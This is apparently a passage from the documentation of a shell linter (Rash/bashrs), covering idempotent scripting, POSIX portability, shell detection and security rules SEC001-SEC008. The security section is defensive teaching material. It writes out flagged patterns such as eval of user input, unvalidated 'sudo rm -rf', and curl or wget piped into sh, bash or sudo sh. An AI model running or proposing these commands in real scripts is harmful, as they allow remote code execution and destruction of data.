 Idempotent: Schema migrations
psql -c "CREATE TABLE IF NOT EXISTS users (id SERIAL, name TEXT)"
 Run N: Table exists or created (idempotent)

 Idempotent: Upserts
psql -c "INSERT INTO settings (key, value) VALUES ('timeout', '30') \
         ON CONFLICT (key) DO UPDATE SET value = EXCLUDED.value"
 Run N: Setting updated (idempotent)

Container Initialization

!/bin/sh
 Idempotent container init script

 Idempotent: Directory structure
mkdir -p /data/logs /data/config /data/cache

 Idempotent: Default config (only if missing)
if [ ! -f /data/config/app.conf ]; then
    cp /defaults/app.conf /data/config/app.conf
fi

 Idempotent: Permissions
chown -R app:app /data

 Idempotent: Service start (systemd handles idempotency)
exec /app/bin/myservice

Verification Checklist

Before marking a script as idempotent, verify:

• ✅ mkdir has -p flag: All directory creation is idempotent
• ✅ rm has -f flag: All file removal is idempotent
• ✅ Symlinks cleaned: Old links removed before creating new ones
• ✅ No duplicate appends: Appends check for existing content
• ✅ Multiple runs succeed: Script runs 100+ times without errors
• ✅ Same final state: All runs produce identical final state
• ✅ No side effects: No accumulating files, processes, or data

Error Handling for Idempotency

!/bin/sh
 Idempotent error handling

deploy() {
    version="${1}"

     Idempotent: Create or verify directory exists
    mkdir -p "/app/releases/${version}" || {
        echo "ERROR: Cannot create release directory"
        return 1
    }

     Idempotent: Remove old link (ignore errors if not exists)
    rm -f "/app/current"

     Idempotent: Create new link
    ln -s "/app/releases/${version}" "/app/current" || {
        echo "ERROR: Cannot create symlink"
        return 1
    }

    echo "Deployed ${version} successfully"
}

Further Reading

• Purification Overview - Complete purification process
• Determinism Concept - Predictable script behavior
• POSIX Compliance - Portable shell scripts
• IDEM Rules - Linter rules for idempotency

Key Takeaway: Idempotency makes scripts safe to re-run. Always use -p for mkdir, -f for rm, cleanup before creating symlinks, and check before appending to files.

POSIX Compliance

POSIX Compliance means writing shell scripts that follow the Portable Operating System Interface (POSIX) standard, ensuring they work on any POSIX-compliant shell. These scripts are portable, predictable, and work everywhere from minimal Alpine containers to enterprise Unix systems.

Definition

A shell script is POSIX compliant if and only if:

Runs on any POSIX shell (sh, dash, ash, busybox sh, bash, ksh, zsh)

Formula: shellcheck -s sh script.sh (passes without errors)

Why POSIX Compliance Matters

The Problem: Bash-Specific Scripts

Bash-specific scripts use non-standard features that break portability:

!/bin/bash
 Bash-specific (NOT portable)

 Bash arrays (not POSIX)
declare -a servers=("web1" "web2" "web3")
for server in "${servers[@]}"; do
    echo "$server"
done

 [[ ]] test (not POSIX)
if [[ "$VAR" == "value" ]]; then
    echo "match"
fi

 String manipulation (not POSIX)
filename="report.txt"
echo "${filename%.txt}"  # report

 Process substitution (not POSIX)
diff <(ls dir1) <(ls dir2)

Problems:

• Fails on Alpine Linux (uses busybox sh, not bash)
• Fails on minimal containers (no bash installed)
• Fails on BSD/Unix (sh is not bash)
• Fails on embedded systems (dash or ash, not bash)

Error Example:

/bin/sh: line 3: declare: not found
/bin/sh: line 7: syntax error: unexpected "("

The Solution: POSIX-Compliant Scripts

POSIX scripts work everywhere:

!/bin/sh
 POSIX-compliant (portable)

 Space-separated lists (POSIX)
servers="web1 web2 web3"
for server in $servers; do
    echo "$server"
done

 [ ] test (POSIX)
if [ "$VAR" = "value" ]; then
    echo "match"
fi

 Parameter expansion (POSIX subset)
filename="report.txt"
basename "$filename" .txt  # report

 Named pipes (POSIX)
mkfifo /tmp/pipe1 /tmp/pipe2
ls dir1 > /tmp/pipe1 &
ls dir2 > /tmp/pipe2 &
diff /tmp/pipe1 /tmp/pipe2

Benefits:

• ✅ Portable: Runs on Alpine, Debian, Ubuntu, BSD, macOS, embedded
• ✅ Minimal: Works without bash installed
• ✅ Standard: Follows POSIX specification
• ✅ Verified: Passes shellcheck -s sh

Common Bash-isms to Avoid

Rash detects and eliminates these non-POSIX patterns:

1. Bash Arrays

Problem: Arrays are bash-specific

 ❌ BAD: Bash arrays (not POSIX)
declare -a files=("a.txt" "b.txt" "c.txt")
for file in "${files[@]}"; do
    echo "$file"
done

Solution: Use space-separated lists

 ✅ GOOD: Space-separated (POSIX)
files="a.txt b.txt c.txt"
for file in $files; do
    echo "$file"
done

 Or line-separated with read
printf '%s\n' "a.txt" "b.txt" "c.txt" | while read -r file; do
    echo "$file"
done

2. [[ ]] Double Brackets

Problem: [[ ]] is bash-specific

 ❌ BAD: Double brackets (not POSIX)
if [[ "$VAR" == "value" ]]; then
    echo "match"
fi

if [[ -f "$FILE" && -r "$FILE" ]]; then
    echo "file is readable"
fi

Solution: Use [ ] single brackets

 ✅ GOOD: Single brackets (POSIX)
if [ "$VAR" = "value" ]; then
    echo "match"
fi

if [ -f "$FILE" ] && [ -r "$FILE" ]; then
    echo "file is readable"
fi

3. String Manipulation

Problem: ${var%.ext} and ${var#prefix} are bash-specific (beyond POSIX)

 ❌ BAD: Bash string ops (not POSIX)
filename="report.txt"
echo "${filename%.txt}"  # report
echo "${filename#/tmp/}" # removes /tmp/ prefix

Solution: Use POSIX commands

 ✅ GOOD: basename and dirname (POSIX)
filename="report.txt"
basename "$filename" .txt  # report

path="/tmp/file.txt"
dirname "$path"   # /tmp
basename "$path"  # file.txt

4. Process Substitution

Problem: <(...) is bash-specific

 ❌ BAD: Process substitution (not POSIX)
diff <(ls dir1) <(ls dir2)

Solution: Use temporary files or named pipes

 ✅ GOOD: Temporary files (POSIX)
ls dir1 > /tmp/ls1
ls dir2 > /tmp/ls2
diff /tmp/ls1 /tmp/ls2
rm -f /tmp/ls1 /tmp/ls2

 Or named pipes (POSIX)
mkfifo /tmp/pipe1 /tmp/pipe2
ls dir1 > /tmp/pipe1 &
ls dir2 > /tmp/pipe2 &
diff /tmp/pipe1 /tmp/pipe2
rm -f /tmp/pipe1 /tmp/pipe2

5. == Equality Operator

Problem: == is bash-specific

 ❌ BAD: == operator (not POSIX)
if [ "$VAR" == "value" ]; then
    echo "match"
fi

Solution: Use = operator

 ✅ GOOD: = operator (POSIX)
if [ "$VAR" = "value" ]; then
    echo "match"
fi

6. Local Variables

Problem: local keyword is not POSIX (though widely supported)

 ❌ BAD: local keyword (not POSIX)
my_function() {
    local temp="value"
    echo "$temp"
}

Solution: Use naming conventions or accept it as widely-supported

 ✅ GOOD: Naming convention (POSIX)
my_function() {
    _my_function_temp="value"
    echo "$_my_function_temp"
}

 Or accept `local` as de-facto standard
 (Supported by dash, bash, ksh, zsh - just not in POSIX spec)
my_function() {
    local temp="value"  # Widely supported
    echo "$temp"
}

POSIX Shell Features

What you CAN use safely in POSIX sh:

Core Commands

 File operations (POSIX)
cat file.txt
cp source dest
mv old new
rm file
mkdir -p dir
ln -s target link

 Text processing (POSIX)
grep "pattern" file
sed 's/old/new/g' file
awk '{print $1}' file
cut -d: -f1 file
sort file
uniq file

Variables and Quoting

 Variable assignment (POSIX)
VAR="value"
VAR="${OTHER:-default}"

 Always quote variables (POSIX best practice)
echo "$VAR"
cp "$SOURCE" "$DEST"

 Parameter expansion (POSIX subset)
${VAR}          # Variable expansion
${VAR:-default} # Default if unset
${VAR:=default} # Assign default if unset
${VAR:?error}   # Error if unset
${VAR:+value}   # Value if set

Control Flow

 if statements (POSIX)
if [ "$VAR" = "value" ]; then
    echo "match"
elif [ "$VAR" = "other" ]; then
    echo "other"
else
    echo "default"
fi

 case statements (POSIX)
case "$VAR" in
    pattern1)
        echo "first"
        ;;
    pattern2|pattern3)
        echo "second or third"
        ;;
    *)
        echo "default"
        ;;
esac

 Loops (POSIX)
for i in 1 2 3; do
    echo "$i"
done

while read -r line; do
    echo "$line"
done < file.txt

Functions

 POSIX function syntax
my_function() {
    arg1="$1"
    arg2="$2"

    echo "Processing $arg1 and $arg2"

    return 0
}

 Call function
my_function "value1" "value2"

Testing POSIX Compliance

Verification with shellcheck

Every POSIX script must pass shellcheck:

 Verify POSIX compliance
shellcheck -s sh script.sh

 No errors = POSIX compliant ✅

Example Output (Non-Compliant):

script.sh:3:1: error: declare is not POSIX sh [SC3044]
script.sh:7:4: error: [[ ]] is not POSIX sh [SC3010]
script.sh:11:6: error: ${var%.ext} is not POSIX sh [SC3060]

Example Output (Compliant):

# No issues found ✅

Multi-Shell Testing

Test on all major POSIX shells:

!/bin/sh
 Test script on multiple shells

for shell in sh dash ash bash ksh zsh; do
    echo "Testing with: $shell"
    if command -v "$shell" > /dev/null; then
        $shell script.sh && echo "✅ $shell: PASS" || echo "❌ $shell: FAIL"
    else
        echo "⏭️  $shell: Not installed"
    fi
done

Expected Output:

Testing with: sh
✅ sh: PASS
Testing with: dash
✅ dash: PASS
Testing with: ash
✅ ash: PASS
Testing with: bash
✅ bash: PASS
Testing with: ksh
✅ ksh: PASS
Testing with: zsh
✅ zsh: PASS

Container Testing

Test in minimal Alpine container (busybox sh):

 Test in Alpine (busybox sh)
docker run --rm -v "$(pwd):/scripts" alpine:latest sh /scripts/script.sh

 Expected: Script runs successfully ✅

Property Test: Cross-Shell Consistency

!/bin/sh
 Test: Same output on all shells

 Run on sh
sh script.sh v1.0.0 > output_sh.txt

 Run on dash
dash script.sh v1.0.0 > output_dash.txt

 Run on bash
bash script.sh v1.0.0 > output_bash.txt

 Verify identical output
if diff output_sh.txt output_dash.txt && \
   diff output_dash.txt output_bash.txt; then
    echo "PASS: All shells produce identical output (POSIX compliant ✅)"
else
    echo "FAIL: Output differs between shells (not POSIX compliant)"
    exit 1
fi

Purification Transforms

Rash purification automatically converts bash-isms to POSIX:

Before: Bash-Specific

!/bin/bash
 Bash-specific script

 Bash arrays
declare -a servers=("web1" "web2" "web3")

 Double brackets
if [[ -f "$CONFIG" && -r "$CONFIG" ]]; then
    echo "Config exists"
fi

 String manipulation
filename="${CONFIG%.conf}"

 Process substitution
diff <(ps aux) <(ps aux)

After: POSIX-Compliant

!/bin/sh
 Purified by Rash v6.30.1 (POSIX compliant)

 Space-separated list
servers="web1 web2 web3"

 Single brackets
if [ -f "$CONFIG" ] && [ -r "$CONFIG" ]; then
    echo "Config exists"
fi

 basename command
filename=$(basename "$CONFIG" .conf)

 Temporary files
ps aux > /tmp/ps1
ps aux > /tmp/ps2
diff /tmp/ps1 /tmp/ps2
rm -f /tmp/ps1 /tmp/ps2

Transformations:

• ✅ declare -a → space-separated list
• ✅ [[ ]] → [ ]
• ✅ ${var%.ext} → basename
• ✅ <(...) → temporary files
• ✅ #!/bin/bash → #!/bin/sh

Best Practices

1. Always Use #!/bin/sh Shebang

 ❌ BAD: Bash shebang (non-portable)
!/bin/bash

 ✅ GOOD: POSIX sh shebang (portable)
!/bin/sh

2. Use [ ] Not [[ ]]

 ❌ BAD: Double brackets
if [[ "$VAR" == "value" ]]; then
    echo "match"
fi

 ✅ GOOD: Single brackets
if [ "$VAR" = "value" ]; then
    echo "match"
fi

3. Use = Not ==

 ❌ BAD: == operator
if [ "$VAR" == "value" ]; then

 ✅ GOOD: = operator
if [ "$VAR" = "value" ]; then

4. Avoid Bash Arrays

 ❌ BAD: Bash arrays
files=("a.txt" "b.txt")

 ✅ GOOD: Space-separated lists
files="a.txt b.txt"

5. Use POSIX Commands Only

 ❌ BAD: Bash builtins
echo "${var%.txt}"

 ✅ GOOD: POSIX commands
basename "$var" .txt

6. Always Quote Variables

 ❌ BAD: Unquoted variables
cp $SOURCE $DEST

 ✅ GOOD: Quoted variables
cp "$SOURCE" "$DEST"

7. Verify with shellcheck

 Always run before release
shellcheck -s sh script.sh

 Must pass with zero errors ✅

Common Patterns

Pattern 1: Iterating Lists

 Bash (non-portable)
declare -a items=("a" "b" "c")
for item in "${items[@]}"; do
    echo "$item"
done

 POSIX (portable)
items="a b c"
for item in $items; do
    echo "$item"
done

 Or with newlines
printf '%s\n' "a" "b" "c" | while read -r item; do
    echo "$item"
done

Pattern 2: Checking File Existence

 Bash (works but non-standard)
if [[ -f "$FILE" ]]; then
    echo "exists"
fi

 POSIX (portable)
if [ -f "$FILE" ]; then
    echo "exists"
fi

Pattern 3: Default Values

 Both work, but POSIX uses different syntax

 Bash
VAR="${1:-default}"

 POSIX (same syntax!)
VAR="${1:-default}"

 POSIX shell supports this parameter expansion ✅

Pattern 4: String Comparison

 Bash (non-standard ==)
if [ "$VAR" == "value" ]; then
    echo "match"
fi

 POSIX (standard =)
if [ "$VAR" = "value" ]; then
    echo "match"
fi

Integration with Purification

POSIX compliance is the third pillar of purification:

!/bin/sh
 Deterministic + Idempotent + POSIX = Purified

deploy() {
    version="${1}"  # Deterministic: parameter, not $RANDOM

     Idempotent: mkdir -p, rm -f
    mkdir -p "/app/releases/${version}"
    rm -f "/app/current"
    ln -s "/app/releases/${version}" "/app/current"

     POSIX: Works on sh, dash, ash, busybox, bash
    echo "Deployed ${version}"
}

deploy "${1}"

Properties:

• ✅ Deterministic: Same input → same output
• ✅ Idempotent: Safe to re-run
• ✅ POSIX: Works on all shells

Verification:

 Test determinism
sh script.sh v1.0.0 > out1.txt
sh script.sh v1.0.0 > out2.txt
diff out1.txt out2.txt  # Identical ✅

 Test idempotency
sh script.sh v1.0.0
sh script.sh v1.0.0  # No errors ✅

 Test POSIX compliance
shellcheck -s sh script.sh  # No errors ✅
dash script.sh v1.0.0        # Works ✅
ash script.sh v1.0.0         # Works ✅

Compatibility Matrix

Legend:

• ✅ Fully supported
• ⚠️ Not in POSIX spec, but widely supported
• ❌ Not supported

Verification Checklist

Before marking a script as POSIX compliant:

• ✅ Shebang: Uses #!/bin/sh (not #!/bin/bash)
• ✅ Shellcheck: Passes shellcheck -s sh with zero errors
• ✅ No arrays: Uses space-separated lists instead
• ✅ Single brackets: Uses [ ] not [[ ]]
• ✅ = operator: Uses = not ==
• ✅ POSIX commands: No bash builtins
• ✅ Multi-shell: Tested on sh, dash, ash, bash
• ✅ Container: Runs in Alpine (busybox sh)

Real-World Usage

Minimal Docker Images

# Alpine base (5 MB) - uses busybox sh
FROM alpine:latest

COPY deploy_purified.sh /deploy.sh

# Works because script is POSIX-compliant
RUN sh /deploy.sh

Bootstrap Scripts

!/bin/sh
 Bootstrap installer (POSIX-compliant)
 Works on any Unix system

set -e

 Detect OS
if [ -f /etc/alpine-release ]; then
    OS="alpine"
elif [ -f /etc/debian_version ]; then
    OS="debian"
else
    OS="unknown"
fi

 Install based on OS
case "$OS" in
    alpine)
        apk add --no-cache myapp
        ;;
    debian)
        apt-get update
        apt-get install -y myapp
        ;;
    *)
        echo "Unsupported OS"
        exit 1
        ;;
esac

echo "Installation complete"

CI/CD Pipelines

!/bin/sh
 CI deploy script (POSIX-compliant)
 Runs on GitLab, GitHub Actions, Jenkins

version="${1}"

 Idempotent deployment
mkdir -p "/app/releases/${version}"
rm -f /app/current
ln -s "/app/releases/${version}" /app/current

 POSIX-compliant logging
echo "Deployed ${version} at $(date)"

Further Reading

• Purification Overview - Complete purification process
• Determinism Concept - Predictable script behavior
• Idempotency Concept - Safe re-run operations
• POSIX Standard - Official specification

Key Takeaway: POSIX compliance ensures portability. Use #!/bin/sh, avoid bash-isms, test with shellcheck -s sh, and verify on multiple shells (sh, dash, ash, busybox).

Shell Type Detection

bashrs automatically detects the shell type from your file path and content, ensuring linting rules are appropriate for the target shell.

Supported Shells

• bash - Bourne Again Shell (default)
• zsh - Z Shell
• sh - POSIX Shell
• ksh - Korn Shell
• auto - Let ShellCheck auto-detect

Detection Priority

bashrs uses a priority-based detection system (highest to lowest):

1. ShellCheck directive - Explicit override
2. Shebang line - Script header
3. File extension - .zsh, .bash, etc.
4. File name - .zshrc, .bashrc, etc.
5. Default - Falls back to bash

Priority Example

!/bin/bash
 shellcheck shell=zsh
 This file will be treated as ZSH (directive wins)

Detection Methods

1. ShellCheck Directive (Highest Priority)

Explicitly specify the shell type in a comment:

 shellcheck shell=zsh
echo "This is zsh"

 shellcheck shell=sh
echo "This is POSIX sh"

Use case: Override auto-detection when file markers conflict.

2. Shebang Line

The script's shebang determines the shell:

!/usr/bin/env zsh
 Detected as: zsh

!/bin/bash
 Detected as: bash

!/bin/sh
 Detected as: sh (POSIX)

3. File Extension

File extensions trigger automatic detection:

4. File Name

Special configuration files are automatically detected:

Why Shell Type Detection Matters

The Problem

Different shells have different syntax:

Valid in zsh (but bash might flag it):

# zsh array splitting with nested parameter expansion
filtered=("${(@f)"$(echo -e "line1\nline2")"}")

bash linting error (false positive):

❌ SC2296: Parameter expansions can't be nested

The Solution

With shell type detection:

 .zshrc is automatically detected as zsh
filtered=("${(@f)"$(echo -e "line1\nline2")"}")
 ✅ No error - valid zsh syntax

Using the API

For programmatic access, use lint_shell_with_path():

use bashrs::linter::{lint_shell_with_path, LintResult};
use std::path::PathBuf;

// Automatically detects zsh from .zshrc
let path = PathBuf::from(".zshrc");
let content = r#"
#!/usr/bin/env zsh
echo "Hello from zsh"
"#;

let result = lint_shell_with_path(&path, content);
// Uses zsh-appropriate rules

For shell type detection only:

use bashrs::linter::{detect_shell_type, ShellType};
use std::path::PathBuf;

let path = PathBuf::from(".zshrc");
let content = "echo hello";
let shell = detect_shell_type(&path, content);

assert_eq!(shell, ShellType::Zsh);

Real-World Examples

Example 1: zsh Configuration

# ~/.zshrc (automatically detected as zsh)

# zsh-specific array handling
setopt EXTENDED_GLOB
files=(*.txt(N))  # Null glob modifier

# zsh parameter expansion
result=${${param#prefix}%%suffix}

Result: ✅ No false positives on zsh-specific syntax

Example 2: Multi-Shell Script

!/bin/bash
 shellcheck shell=sh
 Force POSIX sh rules despite bash shebang

 Only POSIX-compliant code allowed
echo "Portable script"

Result: ✅ Linted with strict POSIX rules

Example 3: Shebang Override

#!/bin/bash
# File has .zsh extension but bash shebang

# Will be linted as bash (shebang wins)
echo "This is actually bash"

Result: ✅ Bash rules applied (shebang priority)

Common Patterns

Pattern 1: Force zsh Detection

 For files without clear markers
 shellcheck shell=zsh
 Rest of zsh code...

Pattern 2: POSIX Compliance Check

!/bin/bash
 shellcheck shell=sh
 Ensures code is POSIX-portable

Pattern 3: Default Behavior

 No shebang, no extension → defaults to bash
echo "Assumed to be bash"

Benefits

For zsh Users (70%+ of developers)

• ✅ No false positives on valid zsh syntax
• ✅ Automatic detection from .zshrc
• ✅ Supports zsh-specific features

For macOS Users

• ✅ zsh is default shell (since 2019)
• ✅ Configuration files work out-of-the-box
• ✅ Oh My Zsh compatible

For Script Authors

• ✅ Write once, lint correctly
• ✅ No manual configuration needed
• ✅ Multi-shell project support

Troubleshooting

Issue: Wrong Shell Detected

Solution: Add ShellCheck directive

 shellcheck shell=zsh
 Forces zsh detection

Issue: Want Default Behavior

Solution: Remove all shell indicators, defaults to bash

Issue: Testing Detection

 Create test file
echo '#!/usr/bin/env zsh' > test.sh

 Check detection (programmatically)
 bashrs will auto-detect from shebang

Shell-Specific Rule Filtering (v6.28.0-dev)

NEW: bashrs now filters linter rules based on detected shell type!

How It Works

When you use lint_shell_with_path(), bashrs:

1. Detects shell type from path and content (as before)
2. Filters rules based on shell compatibility
3. Skips bash-only rules for POSIX sh files
4. Skips sh-specific rules for bash/zsh files

Example: POSIX sh Protection

!/bin/sh
 This is POSIX sh - no bash arrays

 bashrs will NOT warn about missing bash features
 because it knows this is POSIX sh

Bash-specific rules skipped for sh:

• SC2198-2201 (arrays - bash/zsh only)
• SC2039 (bash features undefined in sh)
• SC2002 (process substitution suggestions)

Example: Universal Rules Always Apply

!/bin/zsh
 Even in zsh, bad practices are still bad

SESSION_ID=$RANDOM  # ❌ DET001: Non-deterministic
mkdir /tmp/build    # ❌ IDEM001: Non-idempotent

Universal rules apply to ALL shells:

• DET001-003 (Determinism)
• IDEM001-003 (Idempotency)
• SEC001-008 (Security)
• Most SC2xxx quoting/syntax rules

Current Status (v6.28.0-dev)

• ✅ 20 rules classified (SEC, DET, IDEM + 6 SC2xxx)
• ⏳ 317 rules pending classification (default: Universal)
• ✅ Filtering active in lint_shell_with_path()
• ⏳ Zsh-specific rules planned (ZSH001-ZSH020)

Future Enhancements

Planned (v6.28.0-final and beyond)

• Complete SC2xxx classification (317 remaining rules)
• 20 zsh-specific rules (ZSH001-ZSH020)
• Per-shell linting profiles
• Custom shell type plugins
• Enhanced zsh array linting

Summary

• Automatic: No configuration needed
• Priority-based: Clear precedence rules
• Compatible: Works with all major shells
• Accurate: 100% detection accuracy on test suite

Result: Write shell scripts naturally, lint correctly automatically.

Security Rules (SEC001-SEC008)

Rash includes 8 critical security rules designed to detect common shell script vulnerabilities. These rules follow NASA-level quality standards with an average 81.2% mutation test kill rate.

Overview

Security linting in Rash focuses on critical vulnerabilities that can lead to:

• Command injection attacks
• Credential leaks
• Privilege escalation
• Remote code execution

All SEC rules are Error severity by default and should be addressed immediately.

Quality Metrics

Our SEC rules undergo rigorous testing:

Average Baseline: 81.2% (exceeding 80% NASA-level target)

SEC001: Command Injection via eval

Severity: Error (Critical)

What it Detects

Use of eval with potentially user-controlled input.

Why This Matters

eval is the #1 command injection vector in shell scripts. Attackers can execute arbitrary commands by injecting shell metacharacters.

Examples

❌ CRITICAL VULNERABILITY:

!/bin/bash
read -p "Enter command: " cmd
eval "$cmd"  # SEC001: Command injection via eval

!/bin/bash
USER_INPUT="$1"
eval "rm -rf $USER_INPUT"  # SEC001: Dangerous!

✅ SAFE ALTERNATIVE:

!/bin/bash
 Use array and proper quoting instead of eval
USER_INPUT="$1"

 Validate input first
if [[ ! "$USER_INPUT" =~ ^[a-zA-Z0-9_/-]+$ ]]; then
    echo "Invalid input"
    exit 1
fi

 Use explicit command construction
rm -rf "$USER_INPUT"

Auto-fix

Not auto-fixable - requires manual security review.

SEC002: Unquoted Variables in Commands

Severity: Error (Critical)

What it Detects

Variables used in commands without proper quoting.

Why This Matters

Unquoted variables can lead to:

• Word splitting attacks
• Glob expansion vulnerabilities
• Command injection via spaces/metacharacters

Examples

❌ VULNERABILITY:

!/bin/bash
rm -rf $HOME/my-folder  # SEC002: Word splitting risk
cd $HOME/my projects    # SEC002: Will fail on space

✅ SAFE:

!/bin/bash
rm -rf "${HOME}/my-folder"  # Quoted - safe
cd "${HOME}/my projects"    # Quoted - handles spaces

Auto-fix

Automatically quotes unquoted variables.

SEC003: Unquoted find -exec

Severity: Error (Critical)

What it Detects

find -exec with unquoted {} placeholder.

Why This Matters

Unquoted {} in find -exec can lead to word splitting and injection attacks on filenames with spaces or special characters.

Examples

❌ VULNERABILITY:

!/bin/bash
find . -name "*.sh" -exec chmod +x {} \;  # SEC003: Unquoted {}

✅ SAFE:

!/bin/bash
find . -name "*.sh" -exec chmod +x "{}" \;  # Quoted - safe

Auto-fix

Automatically quotes the {} placeholder.

SEC004: TLS Verification Disabled

Severity: Error (Critical)

What it Detects

Commands that disable TLS/SSL certificate verification:

• wget --no-check-certificate
• curl -k or curl --insecure

Why This Matters

Disabling TLS verification enables man-in-the-middle attacks where attackers can:

• Intercept sensitive data
• Inject malicious payloads
• Steal credentials

Examples

❌ VULNERABILITY:

!/bin/bash
wget --no-check-certificate https://example.com/install.sh  # SEC004
curl -k https://api.example.com/data                         # SEC004
curl --insecure https://api.example.com/data                 # SEC004

✅ SAFE:

!/bin/bash
wget https://example.com/install.sh      # Verifies certificate
curl https://api.example.com/data         # Verifies certificate

 If you MUST skip verification (not recommended):
 Document WHY and use environment variable
if [ "$DISABLE_TLS_VERIFICATION" = "true" ]; then
    curl -k https://api.example.com/data
fi

Auto-fix

Not auto-fixable - requires manual security review.

SEC005: Hardcoded Secrets

Severity: Error (Critical)

What it Detects

Hardcoded secrets in shell scripts:

• API keys
• Passwords
• Tokens
• AWS credentials

Why This Matters

Hardcoded secrets lead to:

• Credential leaks in version control
• Unauthorized access
• Compliance violations (SOC2, PCI-DSS)

Examples

❌ CRITICAL VULNERABILITY:

!/bin/bash
API_KEY="sk-1234567890abcdef"           # SEC005: Hardcoded secret
PASSWORD="SuperSecret123"                 # SEC005: Hardcoded password
export AWS_SECRET_KEY="AKIA..."          # SEC005: Hardcoded AWS key

✅ SAFE ALTERNATIVE:

!/bin/bash
 Load from environment
API_KEY="${API_KEY:-}"
if [ -z "$API_KEY" ]; then
    echo "ERROR: API_KEY not set"
    exit 1
fi

 Or load from secure secret manager
PASSWORD=$(aws secretsmanager get-secret-value --secret-id my-password --query SecretString --output text)

 Or load from encrypted file
PASSWORD=$(gpg --decrypt ~/.secrets/password.gpg)

Auto-fix

Not auto-fixable - requires migration to secure secret management.

SEC006: Unsafe Temporary Files

Severity: Error (Critical)

What it Detects

Predictable temporary file creation:

• /tmp/fixed_name.txt
• $TMPDIR/myapp.tmp

Why This Matters

Predictable temp files enable:

• Race condition attacks (TOCTOU)
• Symlink attacks
• Information disclosure

Examples

❌ VULNERABILITY:

!/bin/bash
TMP_FILE="/tmp/myapp.txt"      # SEC006: Predictable name
echo "data" > $TMP_FILE         # Race condition risk

✅ SAFE:

!/bin/bash
 Use mktemp for secure temp file creation
TMP_FILE=$(mktemp)              # Random name, mode 0600
trap "rm -f $TMP_FILE" EXIT     # Clean up on exit

echo "data" > "$TMP_FILE"

 Or use mktemp with template
TMP_FILE=$(mktemp /tmp/myapp.XXXXXX)

Auto-fix

Not auto-fixable - requires refactoring to use mktemp.

SEC007: Root Operations Without Validation

Severity: Error (Critical)

What it Detects

Operations run as root (sudo, su) without input validation:

• sudo rm -rf $VAR
• su -c "$CMD"

Why This Matters

Root operations without validation can lead to:

• Complete system compromise
• Data destruction
• Privilege escalation

Examples

❌ CRITICAL VULNERABILITY:

!/bin/bash
USER_PATH="$1"
sudo rm -rf $USER_PATH  # SEC007: No validation!

✅ SAFE:

!/bin/bash
USER_PATH="$1"

 Validate input strictly
if [[ ! "$USER_PATH" =~ ^/home/[a-z]+/[a-zA-Z0-9_/-]+$ ]]; then
    echo "Invalid path"
    exit 1
fi

 Verify path exists and is expected
if [ ! -d "$USER_PATH" ]; then
    echo "Path does not exist"
    exit 1
fi

 Use absolute path to avoid PATH attacks
/usr/bin/sudo /bin/rm -rf "$USER_PATH"

Auto-fix

Not auto-fixable - requires manual security review.

SEC008: curl | sh Pattern

Severity: Error (Critical)

What it Detects

Piping remote content directly to shell execution:

• curl https://example.com/install.sh | sh
• wget -qO- https://example.com/install.sh | bash

Why This Matters

This pattern enables:

• Remote code execution without review
• Man-in-the-middle injection
• Supply chain attacks

Examples

❌ CRITICAL VULNERABILITY:

!/bin/bash
curl https://example.com/install.sh | sh         # SEC008: Dangerous!
wget -qO- https://get.example.com | bash         # SEC008: No verification
curl -fsSL https://install.example.com | sudo sh # SEC008: Even worse!

✅ SAFE ALTERNATIVE:

!/bin/bash
 Download, verify, then execute
INSTALL_SCRIPT="/tmp/install-$(date +%s).sh"
curl -fsSL https://example.com/install.sh > "$INSTALL_SCRIPT"

 Verify checksum
EXPECTED_SHA256="abc123..."
ACTUAL_SHA256=$(sha256sum "$INSTALL_SCRIPT" | awk '{print $1}')

if [ "$EXPECTED_SHA256" != "$ACTUAL_SHA256" ]; then
    echo "Checksum mismatch!"
    rm "$INSTALL_SCRIPT"
    exit 1
fi

 Review the script manually
less "$INSTALL_SCRIPT"

 Execute after review
bash "$INSTALL_SCRIPT"
rm "$INSTALL_SCRIPT"

Auto-fix

Not auto-fixable - requires manual security review.

Running Security Linting

Lint a Single File

bashrs lint script.sh

Lint All Scripts in Project

find . -name "*.sh" -exec bashrs lint {} \;

Lint with JSON Output (CI/CD)

bashrs lint --format json script.sh

Filter Only Security Rules

bashrs lint --rules SEC script.sh

Common Patterns

Pattern 1: User Input Validation

Always validate user input before use:

!/bin/bash
USER_INPUT="$1"

 Allowlist validation (preferred)
if [[ ! "$USER_INPUT" =~ ^[a-zA-Z0-9_-]+$ ]]; then
    echo "Invalid input: only alphanumeric, underscore, hyphen allowed"
    exit 1
fi

 Now safe to use
echo "Processing: $USER_INPUT"

Pattern 2: Secret Management

Use environment variables or secret managers:

!/bin/bash
 Load from environment
API_KEY="${API_KEY:-}"
if [ -z "$API_KEY" ]; then
    echo "ERROR: API_KEY environment variable not set"
    echo "Set it with: export API_KEY=your-key"
    exit 1
fi

 Use the secret
curl -H "Authorization: Bearer $API_KEY" https://api.example.com

Pattern 3: Safe Temporary Files

Always use mktemp:

!/bin/bash
 Create temp file securely
TMPFILE=$(mktemp) || exit 1
trap "rm -f $TMPFILE" EXIT

 Use temp file
echo "data" > "$TMPFILE"
process_file "$TMPFILE"

 Cleanup happens automatically via trap

Integration with CI/CD

GitHub Actions Example

name: Security Lint
on: [push, pull_request]
jobs:
  security-lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install bashrs
        run: cargo install bashrs
      - name: Run security linting
        run: |
          find . -name "*.sh" -exec bashrs lint {} \; || exit 1

Pre-commit Hook

!/bin/bash
 .git/hooks/pre-commit

 Lint all staged shell scripts
git diff --cached --name-only --diff-filter=ACM | grep '\.sh$' | while read file; do
    bashrs lint "$file" || exit 1
done

Testing Security Rules

All SEC rules are tested to NASA-level standards:

 Run SEC rule tests
cargo test --lib sec00

 Run mutation tests (requires cargo-mutants)
cargo mutants --file rash/src/linter/rules/sec001.rs --timeout 300 -- --lib

Expected results: 80-100% mutation kill rate.

Further Reading

• OWASP Shell Injection
• CWE-78: OS Command Injection
• NIST SP 800-218: Secure Software Development Framework

Quality Guarantee: All SEC rules undergo mutation testing with 81.2% average baseline kill rate, ensuring high-quality vulnerability detection.

Determinism Rules (DET001-DET006)

Rash includes determinism rules designed to detect non-deterministic patterns in shell scripts. Deterministic scripts produce identical output given identical inputs, making them testable, reproducible, and debuggable.

Overview

Determinism linting in Rash focuses on patterns that break reproducibility:

• Random number generation ($RANDOM)
• Timestamp dependencies (date, $(date))
• Unordered file glob operations (wildcards without sorting)
• Process ID usage ($$, $PPID)
• Hostname dependencies (hostname)
• Network queries for dynamic data

All DET rules are Error or Warning severity and should be addressed for production scripts.

Why Determinism Matters

Non-deterministic scripts cause:

